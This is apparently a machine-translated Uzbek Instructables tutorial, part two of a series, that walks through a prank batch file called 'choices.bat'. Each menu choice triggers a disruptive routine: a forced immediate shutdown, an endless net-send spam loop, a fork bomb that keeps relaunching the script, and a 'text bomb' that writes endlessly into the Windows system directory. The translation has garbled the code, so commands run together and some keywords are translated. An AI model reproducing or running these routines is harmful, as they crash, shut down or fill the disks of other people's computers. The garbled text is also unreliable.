Mundarija:

To'plam bo'yicha qo'llanma - 2: 4 qadamni bajaring
To'plam bo'yicha qo'llanma - 2: 4 qadamni bajaring

Video: To'plam bo'yicha qo'llanma - 2: 4 qadamni bajaring

Video: To'plam bo'yicha qo'llanma - 2: 4 qadamni bajaring
Video: Ko'zingiz nuri qanchalik darajada o'tkirligini aniqlashni xohlaysizmi? 2024, Iyul
Anonim
To'plam bo'yicha qo'llanma - 2 ni oling
To'plam bo'yicha qo'llanma - 2 ni oling

OK, men avvalgi darsimda aytganimdek, (https://www.instructables.com/id/EZ049TMM19EWPKGWKH/#CEINEJV64U3EWP86YUP), men 3 qismdan iborat keng qo'llanma yaratishni rejalashtiryapman. Siz xohlagan narsani partiya bilan bajarish uchun bilishingiz kerak bo'lgan narsalarning ko'pini qamrab olishi kerak. Quyida biriktirilgan fayl - bu men yaratgan raqobatdosh.bat (partiya) fayli, laconix / inevitable_chaos

1 -qadam: Matnimni, sarlavhalarini va Cls -ni formatlash

Boshlash uchun men kodni ko'rsataman;

@echo offtitle tanlovlari.. [laconix tomonidan] clsecho Sizda ba'zi tanlovlar bor … echo.. lekin noto'g'ri tanlov qiling va buning oqibatida azob cheking! echo.pause: menuclsecho.echo.echo.echo.echo. echo / ------------------------------ / echo / 1 va 3 oralig'idagi sonni tanlang / echo (-1.. 2.. 3 -) echo / Har bir tanlovdan boshqasi yomon! /echo / ------------------------------/ sarlavhasi asosan buyruq irodasi uchun sarlavhani belgilaydi, shuning uchun instructables.com sarlavhasi ajoyib! cls har qanday kirish yoki chiqishning cmd -ni tozalaydi Siz hozircha echo nima qilishini bilishingiz kerak, lekin echo. formatlash uchun foydali bo'lgan yangi qatorni yaratadi.: menyu, men buni avvalgi darsimda yoritgan bo'lsam -da, yana bir bor takrorlashga arziydi, lekin bu dasturda siz xohlagan vaqtda GOTO qilishingiz mumkin bo'lgan nuqtani yaratadi, qolgan qismi esa formatlashdan iborat.: D

2 -qadam: o'zgarmaydiganlarni ishga tushirish, foydalanuvchi ma'lumotlarini olish va if bayonoti

Men yana sizga kodni ko'rsataman, keyin tushuntirib beraman;

tanlashni tanlash = nadaecho?.: Bu nima va: ap? clsif % tanlov % == 1 GOTO birif % tanlov % == 2 GOTO ikkiif % tanlov % == 3 GOTO threemsg * Na 1, 2 yoki 3 eh? Afsuski, xayr, xayr … o'chirish -s -f -t 00 set choice = nada, bu nima qilsa, boshlang'ich qiymati yoki "nada" bilan o'zgaruvchini yaratish yoki ishga tushirish, yoki hech narsa emas.: D O'zgaruvchi kerak bo'lmaguncha yoki dastur yopilmaguncha siz uchun ma'lumotlarni saqlaydigan konteynerga o'xshaydi. set /p ni tanlagan = bu foydalanuvchi buyrug'ini buyruq satriga ega bo'lishni bildiruvchi argument bilan /p yordamida ishlatadi. Shunday qilib, asosan /p tanlash = qaysi raqam? Bu savol berish va javobni yozish kabidir. agar if ifodasi shunday ishlasa. agar shart == rost dothisShunday qilib, asosan, agar % tanlov % 1 GOTOga teng bo'lsa, bu to'g'ri emas, u faqat keyingi qatorga o'tadi. shutdown -s -f -t 00 faqat o'z kompyuterini o'chirib qo'yadi va barcha dasturlarni darhol yopishga majbur qiladi.

3 -qadam: Quvurlar buyrug'i, asinxron buyruqlar va atrof -muhit o'zgaruvchilari

Shunga qaramay, avval kod, keyin tushuntirish;

: onemsg * Demak, siz #1 ni tanladingiz, o'zingizni xavfsiz deb bildingizmi? msg * YANGI!: netspamnet send * laconix qoidalari! GOTO netspam: twoshutdown -s -t 10pausemsg * Umid qilamanki, siz buni o'z vaqtida olasiz, chunki bu xavfsiz edi… o'chirish -aGOTO jahannam: threemsg * Bu xavfsiz raqam … pauza: forkstart choices.bat | msg * Xotirani o'chirish! GOTO fork: hellmsg * hazil, hammasi yomon!: textbombecho laconix qoidalari! >> %systemroot %/laconix.txtGOTO: textbomb: oneBasikan cheksiz GOTO pastadiriga kiradi. Birinchi darslikdagi vilkalar bomba misoli 2 -ga juda o'xshaydi.: Ikkita -s -t 10 "o'chirish buyrug'ini bajaring, agar ular o'z vaqtida tugmachani bosmasa, kompyuterni o'chirib qo'yadi. Ularni GOTO jahannamga aylantiradi: do'zax Ularga hech biri yaxshi emasligini aytadi, men matnli bomba deb atayman. Qaysi quvurlar (>>) echo laconix qoidalari! " %systemroot %/laconix.txt ga / n cheksiz GOTO tsikli. %systemroot % - bu muhit drayveri nomidan qat'i nazar, faylni/windows/katalogiga saqlashni bildiruvchi muhit o'zgaruvchisi. C;/, E:/, Z:/, va boshqalar: uchtasi ularni xavfsiz raqam deb o'ylashga undaydi Birinchi darslikdagidek vilka bombasiga aylanadi, lekin bitta asosiy farq bilan. Asinxron buyruqlar; start choices.bat | msg * Xotirani o'chirish ! | asinxron buyruqlarni bildiradi, ya'ni ular bir vaqtning o'zida bajarilgan.

4 -qadam: nima? So'z

Qo'llanmani o'qiganingiz uchun tashakkur, video sizga yoqdi degan umiddaman. Biror narsa o'rgandi.

Umid qilamanki, siz kompyuterlarga va mening ko'rsatmalarimga qiziqishni davom ettirasiz. Tez orada ushbu seriyadagi oxirgi darsligimga e'tibor bering!

Tavsiya: